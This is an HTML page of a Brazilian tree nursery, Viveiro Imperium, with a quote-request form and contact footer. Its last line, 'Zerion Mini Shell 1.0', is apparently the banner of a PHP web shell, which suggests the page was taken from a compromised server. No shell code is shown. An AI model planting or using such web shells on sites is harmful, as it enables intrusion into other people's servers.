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<div id="Header"><span class="name">VIVEIRO DE ESSÊNCIAS FLORESTAIS iMPERIum</span><br/>
<span class="adress">www.viveiroimperium.com.br</span>
</div>
<div id="Inter">
<ul>
<li>Mudas de alta qualidade</li>
<li>Profissionais qualificados</li>
<li>Atendimento Imediato</li>
</ul>
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<h2>Orçamento</h2>
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<td width="100" valign="middle" nowrap bgcolor="#FFFFFF"><p><font class="texto" style="color: #000000">Nome:</font></p></td>
<td width="301"><input class="form_campos" type="text" name="nome" size="34"></td>
</tr>
<tr bgcolor="#FFFFFF">
<td valign="middle" nowrap><font class="texto">Cidade</font></td>
<td bgcolor="#FFFFFF"><input class="form_campos" type="text" name="cidade" size="20"></td>
</tr>
<tr bgcolor="#FFFFFF">
<td valign="middle" nowrap><font class="texto">Estado:</font></td>
<td><select class="form_campos" name="estado">
<option value="Escolha seu Estado">Escolha seu Estado</option>
<option value="AC">AC</option>
<option value="AL">AL</option>
<option value="AM">AM</option>
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<option value="SP">SP</option>
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</select></td>
</tr>
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<td valign="middle" nowrap><font class="texto">E-mail:</font></td>
<td><input class="form_campos" type="text" name="e-mail" size="34"></td>
</tr>
<tr bgcolor="#FFFFFF">
<td valign="middle" nowrap><font class="texto">Produto:</font></td>
<td><select class="form_campos" name="assunto_mensagem">
<option value="Nativas">Nativas</option>
<option value="Exoticas">Exóticas</option>
<option value="CercaViva">Cerca Viva</option>
<option value="Frutiferas">Frutíferas</option>
<option value="Sem assunto">Outros</option>
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<td valign="middle" nowrap><font class="texto">Quantidade</font></td>
<td bgcolor="#FFFFFF"><input class="form_campos" type="text" name="quantidade" size="20"></td>
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<td valign="middle" nowrap align="center"><font class="texto">Mensagem:</font></td>
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<td colspan="2" valign="middle"><!-- <font class="texto">* campos obrigatórios</font> -->
<br>
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<input class="form_botao" type="submit" name="Enviar" value="Enviar ">
<input class="form_botao" type="reset" name="Limpar" value="Limpar">
</div></td>
</tr>
<tr>
<td colspan="2"></td>
</tr>
<tr>
<td colspan="2"></td>
</tr>
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<p><br>
</p>
<ul>
<li></li>
</ul>
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<div id="Bottom">
<span>Imperium - Viveiro de Essências </span>
Florestais - Rua dos Canários - Lote 07 - Quadra D - Chácara Recanto das Palmeiras - Fone (14) 9171 4213 </div>
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Zerion Mini Shell 1.0